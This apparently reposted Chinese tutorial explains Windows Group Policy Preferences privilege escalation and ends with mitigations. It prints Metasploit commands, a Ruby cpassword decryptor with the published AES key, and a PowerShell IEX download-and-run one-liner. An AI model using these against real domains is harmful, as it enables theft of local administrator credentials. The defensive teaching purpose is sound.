内网渗透:七、windows组策略首选项提权

2022/3/2 7:18:11

本文主要是介绍内网渗透:七、windows组策略首选项提权,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

  • 一、sysvol目录

      SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享。SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储在这里:SYSVOL\domain\Policies,下图是创建组策略之前

注意:C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的

        在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员面。通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。

  • 二、域控的组策略中新建dc_admin组策略

编辑新建的dc_admin ,如下进行新建

 将域中每个计算机的本地administrator用户更名为 admin,并且设置新的密码Aa123456

确定后添加domain computers 

更新组策略

 

 管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。可通过在SYSVOL中搜索,可以找到Groups.xml文件。

 通过详细信息中的唯一id定位

 下图是创建组策略之后

 最终找到如下:C:\Windows\SYSVOL\domain\Policies\{id}\Machine\Preferences\Groups

 Groups.xml中的内容为:

cpassword:6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk

  • 三、 组策略密码解密

1、MSF下的GGP解密

msf > use post/windows/gather/credentials/gpp
msf>post/windows/gather/credentials/gpp>sessions
msf>post/windows/gather/credentials/gpp> set SESSION 1
msf>post/windows/gather/credentials>show options
msf>post/windows/gather/credentials/gpp> run

2、 ruby脚本

require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
def decrypt(encrypted_data)
    padding = "=" * (4 - (encrypted_data.length % 4))
      epassword = "#{encrypted_data}#{padding}"
        decoded = Base64.decode64(epassword)
           key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
             aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
               aes.decrypt
                 aes.key = key
                   plaintext = aes.update(decoded)
                     plaintext << aes.final
                       pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
                         return pass
                          end
blah = decrypt(encrypted_data)
puts blah

3、kali

4、powershell脚本:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword 

  • 四、防御措施:

在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。

此外,针对Everyone访问权限进行设置,具体如下:
设置共享文件夹SYSVOL的访问权限
将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
不要把密码放在所有域用户都有权访问的文件中
如果需要更改域中机器的本地管理员密码,建议使用LAPS

参考文献:关于windows组策略首选项提权 - Yangsir34 - 博客园

 



这篇关于内网渗透:七、windows组策略首选项提权的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程